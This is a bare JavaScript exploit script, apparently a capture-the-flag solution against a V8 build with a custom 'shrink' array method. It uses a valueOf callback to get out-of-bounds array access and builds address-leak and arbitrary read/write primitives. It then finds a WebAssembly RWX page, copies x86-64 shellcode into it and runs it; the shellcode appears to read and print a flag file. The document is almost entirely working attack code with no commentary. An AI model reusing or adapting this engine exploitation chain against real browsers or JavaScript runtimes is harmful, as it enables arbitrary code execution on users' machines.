1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| var _b = new ArrayBuffer(16); var _f = new Float64Array(_b); var _i = new BigUint64Array(_b); function f2i(f) { _f[0] = f; return _i[0]; } function i2f(i) { _i[0] = i; return _f[0]; } function phex(i) { console.log("[HEX]: 0x"+i.toString(16).padStart(16,"0")); }
let arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10, 11.11, 12.12, 13.13, 14.14, 15.15, 16.16, 17.17, 18.18, 19.19, 20.20]; let obj_arr = [{}, {}, {}]; let evil_len = { valueOf: function() { arr.length = 2; return 19; } };
arr.shrink(evil_len);
new ArrayBuffer(0xfe000000); new ArrayBuffer(0xfe000000); new ArrayBuffer(0xfe000000);
function show_arr() { for (let i = 0; i < arr.length; i++) { phex(f2i(arr[i])); } } function addr_of(obj) { obj_arr[2] = obj; return f2i(arr[6]) & 0xffffffffn; }
function read32_at(addr) { arr[7] = i2f(((addr-8n) << 32n) | 0x725n); arr[8] = i2f((0x2n << 32n) | (0x2n)); return f2i(obj_arr[0][0]); }
function write32_at(addr, val) { arr[7] = i2f(((addr-8n) << 32n) | 0x725n); arr[8] = i2f((0x2n << 32n) | (0x2n)); obj_arr[0][0] = i2f(val); }
function pwn() { darr_map = f2i(arr[2]); oarr_map = f2i(arr[17]); darr_addr = (f2i(arr[3]) + 8n) & 0xffffffffn; oarr_addr = darr_addr + 0x28n; obj0_addr = oarr_addr + 0xcn; phex(obj0_addr); phex(oarr_map);
arr[6] = i2f((darr_map & 0xffffffffn) << 32n);
var data_buf = new ArrayBuffer(0x400); var data_view = new DataView(data_buf);
backing = addr_of(data_buf) + 0x24n; haddr = read32_at(backing); phex(backing); phex(haddr);
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main;
f_addr = addr_of(f); instance_addr = read32_at(f_addr + 0x10n) & 0xffffffffn; function_data_addr = read32_at(instance_addr + 4n) & 0xffffffffn; instance_data = read32_at(function_data_addr + 0x14n) & 0xffffffffn; rwx = read32_at(instance_data + 0x30n);
phex(f_addr); phex(instance_addr); phex(function_data_addr); phex(instance_data); phex(rwx); write32_at(backing, rwx);
shellcode = [ 0x2434810101757968n, 0x2f66b84801010101n, 0x4850742e67616c66n, 0x632f656d6f682fb8n, 0x31d231e789485074n, 0xc031050f58026af6n, 0x4801b6d2315f036an, 0x315f016a050fe689n, 0x16ae6894801b6d2n, 0x50f58n,
]; for (let i = 0; i < shellcode.length; ++i) { data_view.setFloat64(i * 8, i2f(shellcode[i]), true); } f(); } pwn() while(1) {}
|